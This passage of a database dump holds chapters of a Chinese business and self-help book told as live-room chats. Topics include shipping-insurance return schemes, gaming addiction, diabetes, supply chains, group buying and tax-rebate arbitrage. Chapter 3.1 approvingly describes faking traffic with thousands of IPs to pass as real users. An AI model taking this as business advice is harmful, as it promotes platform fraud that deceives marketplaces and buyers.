撸运费险:小钱困住大脑的真实心理\n\n\"我一天能撸两三百块运费险,一个月下来也有小一万。\"\n\n2025年11月18日,周一,早上7点05分。\n\n那天派对房里来了个说自己\"撸运费险\"的人,语气里带着点得意。\n\n他说他每天的工作就是在淘宝上买东西、退货,赚运费险的差价。\n\n我问:\"你做这个多久了?\"\n\n他说:\"快两年了。\"\n\n我说:\"两年了,你有没有想过做点别的?\"\n\n他沉默了一会儿,说:\"想过,但不知道做什么。\"\n\n---\n\n派对房里,有人问:\"运费险是怎么撸的?\"\n\n他说:\"很简单。\"\n\n\"你在淘宝上买一个有运费险的商品,比如衣服。\"\n\n\"然后你申请退货,运费险会赔你一笔钱,比如12块。\"\n\n\"但实际上你退货的快递费可能只要5块、6块。\"\n\n\"中间的差价就是你赚的。\"\n\n---\n\n他继续说。\n\n\"一单赚5块、6块,听起来不多。\"\n\n\"但如果你一天撸50单、100单呢?\"\n\n\"一天就能赚两三百,一个月就是小一万。\"\n\n---\n\n我问:\"那你一天要花多少时间?\"\n\n他说:\"差不多七八个小时。\"\n\n\"因为你要选品、下单、收货、退货、寄快递,每个环节都要花时间。\"\n\n---\n\n派对房里,有人说:\"那不是跟上班一样?\"\n\n他说:\"是啊,但我自由啊。\"\n\n\"我想什么时候干就什么时候干,不用看老板脸色。\"\n\n---\n\n我说:\"但你有没有想过一个问题?\"\n\n\"你做这个两年了,你的收入有增长吗?\"\n\n他说:\"没有。\"\n\n\"两年前一个月赚七八千,现在还是一个月赚七八千。\"\n\n\"而且现在越来越难做了,平台在打击,运费险的额度也在降。\"\n\n---\n\n我继续说。\n\n\"你看,这就是问题。\"\n\n\"你花了两年时间,做一件没有成长性的事情。\"\n\n\"两年后,你的能力没有提升,你的收入没有增长,你的未来没有任何积累。\"\n\n---\n\n派对房里,有人说:\"但至少他赚到钱了啊。\"\n\n我说:\"是赚到钱了,但这是\'小钱\'。\"\n\n\"什么叫小钱?就是能让你活下去,但不能让你活得更好的钱。\"\n\n---\n\n我停了一下。\n\n\"小钱最可怕的地方是什么?\"\n\n\"是它会困住你的大脑。\"\n\n\"你每天忙着撸运费险,没有时间去学习、去思考、去尝试新东西。\"\n\n\"你的大脑被这些小钱占满了,没有空间去想更大的事情。\"\n\n---\n\n派对房里,那个人说:\"但我不做这个,我能做什么?\"\n\n我说:\"这就是被小钱困住的典型表现。\"\n\n\"你已经习惯了这种\'低风险、低收益\'的模式。\"\n\n\"你不敢去尝试有风险的事情,因为你怕失去现在的收入。\"\n\n\"但你不知道的是,你已经在失去更重要的东西——时间和机会。\"\n\n---\n\n我继续说。\n\n\"我不是说撸运费险不好。\"\n\n\"如果你只是把它当成一个过渡,一边撸一边学习、一边准备,那没问题。\"\n\n\"但如果你把它当成一个长期的事业,那就有问题了。\"\n\n---\n\n派对房里,有人问:\"那什么样的事情值得长期做?\"\n\n我说:\"有三个特点的事情。\"\n\n\"第一,有成长性。你做得越久,能力越强,收入越高。\"\n\n\"第二,有积累性。你今天做的事情,能为明天打基础。\"\n\n\"第三,有杠杆性。你能用更少的时间,创造更多的价值。\"\n\n---\n\n我停了一下。\n\n\"撸运费险符合这三个特点吗?\"\n\n\"不符合。\"\n\n\"你做两年和做一年,能力没有区别。\"\n\n\"你今天撸的单,对明天没有任何帮助。\"\n\n\"你一天只有24小时,撸的单是有上限的。\"\n\n---\n\n那天聊完,派对房里那个人说:\"我要好好想想了。\"\n\n我说:\"想清楚一个问题就行。\"\n\n\"你是想赚一辈子小钱,还是想有一天赚到大钱?\"\n\n\"如果是后者,你就要敢于放弃现在的小钱,去追求更有价值的东西。\"\n\n---\n\n这本书的真实目的,不是批评撸运费险的人。\n\n而是告诉你,人生最大的陷阱,不是失败,而是被小成功困住。\n\n小钱能让你活下去,但也能让你永远活在底层。\n\n要想突破,你必须敢于放弃眼前的确定性,去追求更大的可能性。\n', 1456, 0, 1.00, 8, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.549', 1, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (18, '2.4', 'part-1', '第一篇|真实的人', 'chapter-2', '第2章|人性困境案例', '游戏上瘾的年轻人:不是游戏吸引他,是生活没吸引力', '# 2.4 游戏上瘾的年轻人:不是游戏吸引他,是生活没吸引力\n\n\"我每天打游戏十几个小时,我知道这样不好,但我停不下来。\"\n\n2025年11月23日,周日,早上6点52分。\n\n那天派对房里来了个声音很年轻的男生,语气有点低沉。\n\n他说他大学毕业两年了,一直没找工作,就在家打游戏。\n\n我问:\"你父母不管你吗?\"\n\n他说:\"管过,但没用。他们说什么我都听不进去。\"\n\n---\n\n派对房里,有人问:\"你打的是什么游戏?\"\n\n他说:\"主要是王者荣耀和原神。\"\n\n\"王者荣耀打排位,原神做日常。\"\n\n\"一天下来,基本上除了吃饭睡觉,都在打游戏。\"\n\n---\n\n我问:\"你觉得打游戏快乐吗?\"\n\n他沉默了一会儿,说:\"说不上快乐,就是……停不下来。\"\n\n我说:\"这就是问题所在。\"\n\n---\n\n派对房里,有人说:\"游戏上瘾是病,得治。\"\n\n我说:\"不完全对。\"\n\n\"游戏上瘾是结果,不是原因。\"\n\n\"你要问的不是\'怎么戒游戏\',而是\'为什么会上瘾\'。\"\n\n---\n\n我继续说。\n\n\"一个人沉迷游戏,通常有两个原因。\"\n\n\"第一,游戏给了他现实中得不到的东西。\"\n\n\"第二,现实中没有比游戏更有吸引力的东西。\"\n\n---\n\n我停了一下。\n\n\"游戏给你什么?\"\n\n\"成就感。你打赢一局,升一段位,抽到一个好角色,都会有成就感。\"\n\n\"社交感。你跟队友一起开黑,一起吐槽,有一种归属感。\"\n\n\"掌控感。在游戏里,你是主角,你能决定很多事情。\"\n\n---\n\n我继续说。\n\n\"这些东西,你在现实中有吗?\"\n\n那个男生说:\"没有。\"\n\n\"我毕业两年,投了很多简历,都没人要。\"\n\n\"我也不知道自己能做什么,想做什么。\"\n\n\"在家待着,父母天天念叨,我也烦。\"\n\n\"只有打游戏的时候,我才觉得自己还行。\"\n\n---\n\n派对房里,有人说:\"那你就不能努力一下吗?\"\n\n我说:\"等一下,不要这样说。\"\n\n\"他不是不想努力,他是不知道往哪里努力。\"\n\n\"这是两回事。\"\n\n---\n\n我继续说。\n\n\"很多人觉得,游戏上瘾的人是懒、是堕落、是不求上进。\"\n\n\"但实际上,很多游戏上瘾的人,是迷茫、是逃避、是找不到方向。\"\n\n\"他们不是不想改变,是不知道怎么改变。\"\n\n---\n\n我停了一下。\n\n\"所以解决游戏上瘾的方法,不是强制戒游戏。\"\n\n\"而是找到一个比游戏更有吸引力的东西。\"\n\n---\n\n派对房里,那个男生问:\"什么东西能比游戏更有吸引力?\"\n\n我说:\"这个问题只有你自己能回答。\"\n\n\"但我可以给你一个思路。\"\n\n---\n\n我继续说。\n\n\"你想想,游戏为什么吸引你?\"\n\n\"因为它有目标、有反馈、有成长。\"\n\n\"你打一局游戏,有明确的目标(赢)。\"\n\n\"你每一个操作,都有即时的反馈(杀人、被杀、升级)。\"\n\n\"你打得越多,段位越高,有成长感。\"\n\n---\n\n我停了一下。\n\n\"现实中也可以找到这样的东西。\"\n\n\"比如学一个技能。学编程、学设计、学剪辑,都有目标、有反馈、有成长。\"\n\n\"比如做一个项目。做一个自媒体账号、做一个小生意,也有目标、有反馈、有成长。\"\n\n\"关键是,你要找到一个你感兴趣的方向,然后像打游戏一样去投入。\"\n\n---\n\n派对房里,那个男生说:\"但我不知道自己对什么感兴趣。\"\n\n我说:\"那就去尝试。\"\n\n\"你不试,永远不知道自己喜欢什么。\"\n\n\"你可以先从小事开始。比如每天花一个小时,去学一个新东西。\"\n\n\"不喜欢就换,喜欢就继续。\"\n\n\"总会找到的。\"\n\n---\n\n那天聊完,派对房里有人说:\"我觉得他很难改变。\"\n\n我说:\"不一定。\"\n\n\"改变的前提是什么?是意识到问题。\"\n\n\"他今天能来这里聊这个,说明他已经意识到问题了。\"\n\n\"接下来就看他愿不愿意迈出第一步。\"\n\n---\n\n这本书的真实目的,不是批评打游戏的人。\n\n而是告诉你,很多看起来是\"自制力\"的问题,其实是\"方向\"的问题。\n\n一个人沉迷游戏,不是因为他意志力薄弱,而是因为他找不到比游戏更值得投入的东西。\n\n解决问题的方法,不是强制戒断,而是找到替代品。\n\n找到一个让你愿意为之努力的目标,游戏自然就放下了。\n', 1511, 0, 1.00, 9, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.560', 2, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (19, '2.5', 'part-1', '第一篇|真实的人', 'chapter-2', '第2章|人性困境案例', '健康焦虑(我的糖尿病经历):疾病是人生的第一次清醒', '# 2.5 健康焦虑(我的糖尿病经历):疾病是人生的第一次清醒\n\n\"2018年6月,我被确诊糖尿病。那一年,我34岁。\"\n\n2025年11月27日,周四,早上7点18分。\n\n那天派对房里聊起了健康话题,气氛有点沉重。\n\n有人问:\"你平时怎么保持精力的?每天早上六点开播,不累吗?\"\n\n我说:\"累。但我没办法,我必须保持规律的作息。\"\n\n\"因为我有糖尿病。\"\n\n---\n\n派对房里,有人说:\"你这么年轻就有糖尿病?\"\n\n我说:\"对。\"\n\n\"2018年的时候,我天天熬夜、喝酒、吃夜宵,作息完全没规律。\"\n\n\"有一天突然觉得不对劲,去医院一查,空腹血糖17。\"\n\n\"医生说,正常人空腹血糖应该在6以下,你这个已经是糖尿病了。\"\n\n---\n\n我继续说。\n\n\"当时我整个人都懵了。\"\n\n\"糖尿病?那不是老年人才得的病吗?我才34岁。\"\n\n\"医生说,现在糖尿病越来越年轻化了,跟生活方式有很大关系。\"\n\n---\n\n派对房里,有人问:\"那你现在怎么样了?\"\n\n我说:\"控制得还行。\"\n\n\"但我必须一直调节饮食结构、规律作息、配合中医针灸辅助调理。\"\n\n\"稍微放纵一点,血糖就会上去。\"\n\n---\n\n我停了一下。\n\n\"但我想说的不是糖尿病本身。\"\n\n\"我想说的是,这场病给我带来的改变。\"\n\n---\n\n我继续说。\n\n\"在确诊之前,我觉得自己是无敌的。\"\n\n\"熬夜?没事,年轻扛得住。\"\n\n\"喝酒?没事,喝完睡一觉就好了。\"\n\n\"不运动?没事,等有空了再说。\"\n\n\"我从来没想过,身体会出问题。\"\n\n---\n\n我停了一下。\n\n\"但确诊之后,我突然意识到一件事。\"\n\n\"身体是有极限的。\"\n\n\"你透支它,它不会马上报复你,但它会记账。\"\n\n\"等账单来的时候,你就知道厉害了。\"\n\n---\n\n派对房里,有人说:\"那你现在的生活方式是什么样的?\"\n\n我说:\"完全变了。\"\n\n\"以前我晚上两三点睡,现在我十一点之前必须睡。\"\n\n\"以前我无肉不欢,现在我以蔬菜为主。\"\n\n\"以前我从不运动,现在我每天至少走一万步。\"\n\n\"以前我觉得健康是理所当然的,现在我知道健康是需要经营的。\"\n\n---\n\n我继续说。\n\n\"但最大的改变不是生活方式,是心态。\"\n\n\"以前我总觉得,赚钱最重要,事业最重要,什么都可以为了这些牺牲。\"\n\n\"现在我知道,健康才是一切的基础。\"\n\n\"没有健康,赚再多钱有什么用?\"\n\n---\n\n派对房里,有人问:\"你后悔吗?\"\n\n我说:\"后悔没有用。\"\n\n\"但如果能重来,我一定会更早开始注意健康。\"\n\n\"不是等到出问题了才改变,而是在出问题之前就预防。\"\n\n---\n\n我停了一下。\n\n\"我经常跟派对房里的年轻人说,趁年轻,把身体底子打好。\"\n\n\"不要觉得自己年轻就可以随便造。\"\n\n\"二十多岁的时候造,三十多岁就要还债。\"\n\n\"三十多岁的时候造,四十多岁可能就还不起了。\"\n\n---\n\n派对房里,有人说:\"但年轻的时候,谁会想这些啊。\"\n\n我说:\"是的,我当年也不想。\"\n\n\"所以我现在才会跟你们说这些。\"\n\n\"希望你们能比我更早意识到这个问题。\"\n\n---\n\n那天聊完,派对房里有人说:\"你这个经历挺有警示意义的。\"\n\n我说:\"疾病是人生的第一次清醒。\"\n\n\"在生病之前,我们都觉得自己是特别的,觉得那些坏事不会发生在自己身上。\"\n\n\"但生病之后,你才会发现,你跟所有人一样,都是普通人。\"\n\n\"普通人就要遵守普通人的规则:好好吃饭、好好睡觉、好好运动。\"\n\n---\n\n这本书的真实目的,不是吓唬你。\n\n而是告诉你,健康是一种投资,而且是回报率最高的投资。\n\n你在健康上投入的每一分钟、每一分钱,都会在未来给你回报。\n\n你在健康上透支的每一分钟、每一分钱,都会在未来向你讨债。\n\n这笔账,越早算清楚越好。\n', 1385, 0, 1.00, 10, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.571', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (20, '3.1', 'part-2', '第二篇|真实的行业', 'chapter-3', '第3章|电商篇', '3000万流水如何跑出来(退税模式解析)', '# 3.1 3000万流水如何跑出来(退税模式解析)\n\n流水不是冲出来的,是结构搭出来的。\n\n2025年10月30日,周四,早上7点59分。\n\n派对房里人渐渐多了起来,空气里有股刚睡醒的慵懒。\n\n突然有人上麦问我:\"卡若,你之前说过3000万流水怎么跑出来的?\"\n\n我说:\"两件事,流量与结构。\"\n\n那是我做电商的时期。\n\n我们当时做的是天猫虚拟充值与相关业务。\n\n我在房里讲过:\n\n\"用2万个IP模拟点击。\"\n\n\"一个月380万流水。\"\n\n这只是表层数字。\n\n本质是结构。\n\n派对房里有人问:\"结构怎么搭?\"\n\n我说:\"三层。\"\n\n第一层:流量\n\nIP池、关键词矩阵、时间分布、点击权重。\n\n不是一股脑堆量,是按小时段与人群分布,做成\"自然行为曲线\"。\n\n你不能让系统觉得你是机器。\n\n你要让系统觉得你是真实用户。\n\n第二层:结构和路径\n\n详情页、评价、问答与活动,做成一条\"浏览—停留—互动—下单\"的路径。\n\n每一步都有数据。\n\n每一步都能优化。\n\n\n第三层:后端与风控\n\n出单、发货、售后与风控参数,全部标准化。\n\n没有这三层,流量上来只会出事。\n\n派对房里有人问:\"这不就是\'技术活\'吗?\"\n\n我说:\"不是技术,是纪律。\"\n\n\"你每天都要盯图、盯词、盯曲线。\"\n\n\"看转化率、看停留时长、看异常波动。\"\n\n\"纪律决定结构是否稳定。\"\n\n第二天,我约了一个做过3000万流水的老板线下见面。\n\n我们在思明区的茶馆,把整个流程拆解了一遍。\n\n他说:\"我们当时每天早上六点就开始盯数据。\"\n\n\"看昨天的点击分布、转化率、异常订单。\"\n\n\"发现问题,马上调整。\"\n\n\"不调整,流量就浪费了。\"\n\n我问:\"你们怎么做风控?\"\n\n他说:\"风控是最重要的。\"\n\n\"我们有一套参数,超过阈值就报警。\"\n\n\"比如,同一个IP下单超过3次,就标红。\"\n\n\"比如,退款率超过5%,就暂停推广。\"\n\n\"风控做不好,账号就没了。\"\n\n\n后来,我们把这套结构迁移到合规的退税模式测试上。\n\n用\"流量—结构—后端\"的三层做验证:\n\n第一步,找目标客户:年流水3000万以上、资料齐全。\n\n第二步,跑一次完整流程:申报—核验—退税—分成。\n\n第三步,把每个节点时间与结果记录下来,形成可复用SOP。\n\n测试期,我们不追求大钱。\n\n只追求\"结构稳定\"。\n\n结构稳了,钱自然跑出来。\n\n派对房里有人问:\"那你们测试期多久?\"\n\n我说:\"三个月。\"\n\n\"前两个月都是在调结构。\"\n\n\"第三个月才开始放量。\"\n\n\"很多人失败,是因为他们第一个月就想放量。\"\n\n\"结构不稳,放量就是找死。\"\n\n那个老板补充说:\"我们第一个月亏了20万。\"\n\n\"但我们没停。\"\n\n\"因为我们知道,结构还没调好。\"\n\n\"第二个月亏了10万。\"\n\n\"第三个月开始盈利。\"\n\n\"第四个月,一个月赚了50万。\"\n\n我说:\"这就是结构的力量。\"\n\n\"你前期投入的时间和钱,都是在建结构。\"\n\n\"结构建好了,后面就是复制和放大。\"\n\n后来,我在派对房里总结了一个公式:\n\n流水=流量×转化×客单×复购。\n\n流量是入口。\n\n转化是效率。\n\n客单是利润。\n\n复购是壁垒。\n\n四个都要有。\n\n缺任何一个,流水都跑不出来。\n\n派对房里有人问:\"那3000万流水,需要多少流量?\"\n\n我说:\"不一定。\"\n\n\"如果你的转化率高,客单高,复购率高,你不需要很多流量。\"\n\n\"如果你的转化率低,客单低,复购率低,再多流量都是浪费。\"\n\n我停了一下。\n\n\"所以我说,流水不是冲出来的,是结构搭出来的。\"\n\n\"你以为是冲劲,其实是结构。\"\n\n\"你以为是运气,其实是纪律。\"\n\n这本书的真实目的,不是教你怎么成功。\n\n而是告诉你,流水是结构的产物,不是运气的产物。\n\n三层结构:流量层、转化层、后端层,缺一不可。\n\n纪律比技术更重要——每天盯图、盯词、盯曲线。\n\n测试期只追求\"结构稳定\",稳定之后才能复制放大。\n', 1435, 0, 1.00, 11, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.583', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (21, '3.2', 'part-2', '第二篇|真实的行业', 'chapter-3', '第3章|电商篇', '供应链之王 vs 打工人:利润不在前端', '# 3.2 供应链之王 vs 打工人:利润不在前端\n\n前端热闹,后端才决定利润。\n\n2025年11月4日,周二,早上7点12分。\n\n派对房里来了个做天猫的年轻人,一上麦就叹气。\n\n\"卡若,我每天在改详情页、写话术,但利润还是薄。\"\n\n我问:\"你的货谁控?\"\n\n他愣了。\n\n\"不是我。\"\n\n我说:\"那你就是打工人。\"\n\n派对房里,我讲了一句老话。\n\n\"利润不在前端。\"\n\n\"利润在\'货—价—期—质—服\'这五件事。\"\n\n他问:\"能不能线下细聊?\"\n\n我说可以。\n\n第二天上午,我们在湖滨南路的茶馆见。\n\n我让他把他的生意画成一个链条。\n\n前端:流量、页面、客服、活动。\n\n后端:货源、进价、账期、质量、服务。\n\n我把后端的五件事一条条问。\n\n\"货,稳定吗?\"——\"不稳定。\"\n\n\"价,可控吗?\"——\"经常变。\"\n\n\"期,账期多久?\"——\"15天。\"\n\n\"质,退换率多少?\"——\"8%左右。\"\n\n\"服,售后能否标准化?\"——\"临时处理。\"\n\n我笑了。\n\n\"你在前端拼命,但后端是漏斗。\"\n\n\"前端进来10块钱,后端漏掉7块。\"\n\n\"你再怎么努力,也只能剩3块。\"\n\n他沉默了。\n\n我给他定了一个\"三周修链计划\"。\n\n第一周,只谈货与价。\n\n找到两个可替代供应商,锁定三个月稳定供货与价格浮动区间。\n\n他说:\"我只有一个供应商。\"\n\n我说:\"一个供应商是最大的风险。\"\n\n\"他涨价,你就死。\"\n\n\"他断货,你就停。\"\n\n\"必须有备选。\"\n\n第二周,谈期与质。\n\n把账期从15天拉到30天;签质量条款,明确退换比例与时限。\n\n他说:\"账期怎么拉?\"\n\n我说:\"你要让供应商觉得你有价值。\"\n\n\"你告诉他,我每个月稳定采购多少,我不会拖欠,但我需要30天账期。\"\n\n\"如果他不同意,你就找别人。\"\n\n第三周,谈服务。\n\n把售后流程写成SOP,工单、时效、赔付标准都固定。\n\n他说:\"我们现在售后都是临时处理。\"\n\n我说:\"临时处理就是成本。\"\n\n\"每次临时处理,你都要花时间、花精力、花钱。\"\n\n\"把它标准化,成本就下来了。\"\n\n一周后,他在派对房复盘。\n\n\"我找到了第二个供应商。\"\n\n\"价格比原来低5%。\"\n\n\"账期从15天拉到30天了。\"\n\n我问:\"感觉怎么样?\"\n\n他说:\"我能睡觉了。\"\n\n\"以前每天担心供应商涨价、断货。\"\n\n\"现在有备选,心里踏实多了。\"\n\n三周后,他又在派对房复盘。\n\n\"我把退换比例从8%压到3%了。\"\n\n\"售后时间从72小时缩到24小时。\"\n\n\"利润没涨很多,但我能睡觉了。\"\n\n我说:\"这叫\'结构利润\'。\"\n\n\"不是多挣,是少亏。\"\n\n\"你以前漏掉的钱,现在留住了。\"\n\n另一个老板上麦补充。\n\n他说:\"我们公司不让运营跟供应链分离。\"\n\n\"每个运营要会看后端五件事。\"\n\n\"不会就提不上利润。\"\n\n我点头。\n\n\"运营不是写字,是跑链条。\"\n\n\"你以为你在改详情页,其实你在修链条。\"\n\n\"你以为你在写话术,其实你在写工单。\"\n\n\"你以为你在做客服,其实你在做中台。\"\n\n派对房里有人问:\"那信息差呢?\"\n\n我说:\"信息差也是后端的事。\"\n\n很多人把\"信息差\"当作前端的标题党,实际上它是后端的严肃问题。\n\n我在派对房分享过一个老案例:暗黑拍卖行时代,台湾与英国之间的结算有约15%差价。\n\n如果你能跨区流转金币与装备,扣掉手续费仍有7-10%的净利,且三小时转一圈。\n\n这不是怀旧,是说明\"信息差可以被结构化\"。\n\n你能不能把\"跨区资格、支付工具、结算流程\"写成SOP,让它成为一条稳定的链路?\n\n能,就赚\"结构利润\"。\n\n不能,就赚\"一次性运气\"。\n\n同样,账期不是\"有钱就行\",而是\"钱的流速与安全\"。\n\n账期是电商里最被忽略的杠杆之一。\n\n很多朋友账期15天,一遇到退换与赔付就全面吃紧。\n\n把账期拉到30天,不是为了\"多占别人的钱\",是为了让\"异常有空间\"。\n\n后来,我在派对房里总结了一个\"后端五问\"清单:\n\n第一问,货稳定吗?有没有两个以上可替代供应商?\n\n第二问,价可控吗?能不能锁定三个月价格区间?\n\n第三问,期够长吗?账期能不能从15天拉到30天?\n\n第四问,质合格吗?退换率能不能压到4%以下?\n\n第五问,服标准吗?售后流程有没有写成SOP?\n\n五问过了,前端随便改都有效。\n\n五问没过,前端越改越累。\n\n这本书的真实目的,不是教你怎么成功。\n\n而是告诉你,真正的利润来自\"把复杂变成标准,把标准挂到账上\"。\n\n利润不在前端,利润在后端的五件事:货、价、期、质、服。\n\n你控不了后端,就只能做打工人。\n', 1676, 0, 1.00, 12, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.594', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (22, '3.3', 'part-2', '第二篇|真实的行业', 'chapter-3', '第3章|电商篇', '社区团购的底层逻辑', '# 3.3 社区团购的底层逻辑\n\n团购不是卖货,是把\"信任+便利\"做成习惯。\n\n2025年11月21日,周五,早上7点30分。\n\n那天派对房里来了个做社区团购的团长,语气有点疲惫。\n\n他说:\"卡若,我做社区团购,但很累,复购不稳定。\"\n\n我说:\"你卖的不是货。\"\n\n\"你卖的是\'信任+便利\'。\"\n\n房间里安静。\n\n他问:\"能线下见面聊吗?\"\n\n我说可以。\n\n我们约在小区门口的早餐店,边吃边聊。\n\n他说:\"我做社区团购一年多了。\"\n\n\"每天发十几条消息到群里。\"\n\n\"但复购率越来越低。\"\n\n\"很多人退群了。\"\n\n我问:\"你发什么?\"\n\n他说:\"今天的特价、新品、活动。\"\n\n我说:\"太吵了。\"\n\n他愣了。\n\n我把社区团购的逻辑写成四个字。\n\n\"近、准、稳、省。\"\n\n近,离用户近,消息近,取货近。\n\n准,品类准,人群准,时段准。\n\n稳,到货稳,质量稳,价格稳。\n\n省,用户省事,你省流程,整个链路省心。\n\n我问他:\"你做到了哪几个?\"\n\n他想了想。\n\n\"近,做到了,我就住在小区里。\"\n\n\"准,没做到,我什么都卖。\"\n\n\"稳,没做到,有时候到货不准时。\"\n\n\"省,没做到,用户还要问我很多问题。\"\n\n我说:\"那你就只做到了一个。\"\n\n\"怪不得复购不好。\"\n\n他给我看他的群。\n\n400人。\n\n我问:\"每天发几条?\"\n\n他说:\"十几条。\"\n\n我说:\"太吵。\"\n\n\"群只发\'今日三件\'。\"\n\n\"其他放在小程序或飞书看板。\"\n\n他问:\"什么是\'今日三件\'?\"\n\n我让他试一个\"三件策略\"。\n\n第一件,刚需。\n\n每天都要用的东西,比如鸡蛋、牛奶、水果。\n\n第二件,高复购。\n\n用户买了还会买的东西,比如纸巾、调料。\n\n第三件,情绪值。\n\n让用户觉得\"有意思\"的东西,比如当季新品、网红食品。\n\n每天只有三件,但三件一定稳。\n\n用户知道来你这里不需要筛选,直接买。\n\n我说:\"你现在的问题是什么都卖。\"\n\n\"用户进来,不知道该买什么。\"\n\n\"选择太多,反而不买了。\"\n\n\"你只给他三件,他反而会买。\"\n\n他说:\"但三件会不会太少了?\"\n\n我说:\"少就是多。\"\n\n\"你想想,你去超市,是买得多还是买得少?\"\n\n\"选择越多,买得越少。\"\n\n\"选择越少,买得越快。\"\n\n我们又聊了取货的问题。\n\n他说:\"我现在取货时间是下午三点到六点。\"\n\n\"但很多人上班,来不了。\"\n\n我说:\"那你就多一个晚上的窗口。\"\n\n\"下午三点到六点,晚上八点到九点。\"\n\n\"两个窗口,覆盖上班族和全职妈妈。\"\n\n他说:\"那我不是更累了?\"\n\n我说:\"不会。\"\n\n\"你把到货时间固定,用户就知道什么时候来。\"\n\n\"不用每次都问你。\"\n\n\"你省事,用户也省事。\"\n\n一周后,他在派对房复盘。\n\n\"复购提升了,投诉下降了。\"\n\n\"我把到货不稳的品类砍掉了。\"\n\n\"把取货时间固定成两个窗口。\"\n\n我说:\"你不是在\'卖更多\',你是在\'卖更稳\'。\"\n\n他说:\"我现在每天只发三条消息。\"\n\n\"群里安静了,但订单反而多了。\"\n\n我说:\"因为用户不烦你了。\"\n\n\"以前你发十几条,他们直接屏蔽。\"\n\n\"现在你发三条,他们每条都看。\"\n\n另一个团长上麦补充。\n\n他说:\"我们社区团购的利润不在差价,在\'我帮你省事\'的服务。\"\n\n\"每次帮忙分袋、代提、代送,都是服务利润。\"\n\n我点头。\n\n\"服务是能复购的利润。\"\n\n\"差价是一次性的。\"\n\n\"服务是长期的。\"\n\n后来,我们在线下又见了一次。\n\n他带了一个本子,上面写满了问题。\n\n我一个一个回答。\n\n\"品类怎么选?\"——\"只选刚需+高复购+情绪值。\"\n\n\"供应商怎么谈?\"——\"至少两个备选,价格锁定三个月。\"\n\n\"到货怎么保证?\"——\"跟供应商签时效条款,延迟就赔付。\"\n\n\"售后怎么处理?\"——\"写成SOP,工单、时效、赔付标准都固定。\"\n\n我把这章收尾成\"团长五件事\"。\n\n第一,群只发\"今日三件\",减少噪音。\n\n第二,固定取货时间窗,减少等待与冲突。\n\n第三,砍掉到货不稳的品类,只保留稳品。\n\n第四,标准化\"分袋/代提/代送\"服务,形成服务利润。\n\n第五,每周复盘\"近/准/稳/省\"四项,持续调优。\n\n这本书的真实目的,不是教你怎么成功。\n\n而是告诉你,社区团购不是卖货,是卖\"信任+便利\"。\n\n团长赚的不是差价,是\"我帮你省事\"的钱。\n\n把这个想清楚,你就知道怎么做了。\n', 1582, 0, 1.00, 13, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.605', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (23, '3.4', 'part-2', '第二篇|真实的行业', 'chapter-3', '第3章|电商篇', '跨境电商与退税套利', '# 3.4 跨境电商与退税套利\n\n套利不是故事,是窗口+合规的小样能力。\n\n2025年11月8日,周六,早上6点55分。\n\n周末的派对房人少,但问的问题都很硬核。\n\n有个做外贸的朋友上麦问:\n\n\"卡若,你之前讲过暗黑3的跨境套利,怎么做的?\"\n\n我说:\"台湾买,英国卖。\"\n\n\"三个小时一圈,净赚1000。\"\n\n房间里安静了一下。\n\n我补了一句。\n\n\"那是当年的窗口。\"\n\n跨境套利,本质是\"时间差+价格差+规则差\"。\n\n时间差:不同市场的活动与打折周期不同。\n\n价格差:同一商品在不同区域定价不同。\n\n规则差:不同平台与国家的税费与政策不同。\n\n抓住三个差,做一圈就有钱。\n\n我在派对房里讲了当年的案例。\n\n2012年,暗黑3开了真金拍卖行。\n\n游戏里的装备和金币,可以直接卖成真钱。\n\n我发现,台湾区的金币价格比英国区低15%。\n\n因为台湾的玩家多,金币供应量大。\n\n英国的玩家少,金币供应量小。\n\n所以台湾便宜,英国贵。\n\n我就做了一件事:台湾买,英国卖。\n\n三个小时跑一圈,扣掉手续费,净赚1000块。\n\n派对房里一个做跨境的小伙伴上麦。\n\n他说:\"现在还能做吗?\"\n\n我说:\"窗口不同了,但方法还在。\"\n\n\"先用\'差异三问\'去测。\"\n\n第一问,哪里有时间差?\n\n不同市场的活动周期不同,比如美国的黑五、中国的双十一、欧洲的圣诞促销。\n\n第二问,哪里有价格差?\n\n同一商品在不同平台、不同国家的定价不同。\n\n第三问,哪里有规则差?\n\n不同国家的税费、退税政策、进出口规定都不同。\n\n三问都有,你就能做一次小样测试。\n\n他问:\"能线下拆解一下吗?\"\n\n我说可以。\n\n我们在茶馆见。\n\n我把跨境的路径画成五步。\n\n第一步,选品与区域。\n\n你要选什么品?卖到哪个区域?\n\n这是第一个问题。\n\n第二步,物流与时效。\n\n货怎么过去?多久能到?\n\n这是第二个问题。\n\n第三步,税费与合规。\n\n要交多少税?怎么才能合规?\n\n这是第三个问题。\n\n第四步,定价与汇率。\n\n卖多少钱?汇率怎么算?\n\n这是第四个问题。\n\n第五步,回款与风控。\n\n钱怎么回来?风险怎么控?\n\n这是第五个问题。\n\n每一步都要有\"最小样本\"的验证。\n\n不是直接上仓,是先跑一圈小单。\n\n他问:\"退税怎么做?\"\n\n我说:\"合规退税必须先有完整的进出口与报关链。\"\n\n\"没有链条就不要碰。\"\n\n\"你可以找做得熟的服务商跑一次,把时间与费用抄下来。\"\n\n\"确定合规与可复用,再谈规模。\"\n\n我在派对房里又分享了一个案例。\n\n有个朋友做跨境电商,一年流水3000万。\n\n他告诉我,他的利润不在卖货,在退税。\n\n他说:\"我们每年能退180万的税。\"\n\n\"6个点的增值税,我可以百分百帮他退掉。\"\n\n我问:\"怎么做到的?\"\n\n他说:\"合规申报,资料齐全,流程标准化。\"\n\n\"我们有专门的财务团队做这件事。\"\n\n\"每个月出一次退税报告。\"\n\n派对房里有人问:\"那小公司能做吗?\"\n\n我说:\"能做,但要找专业的服务商。\"\n\n\"你自己做,成本太高。\"\n\n\"你找服务商,他们抽一部分,你拿大头。\"\n\n\"这就是分工。\"\n\n后来,我们在线下又聊了一次。\n\n他给我看了他的退税报表。\n\n每个月都有详细的记录:申报金额、退税金额、服务费、到账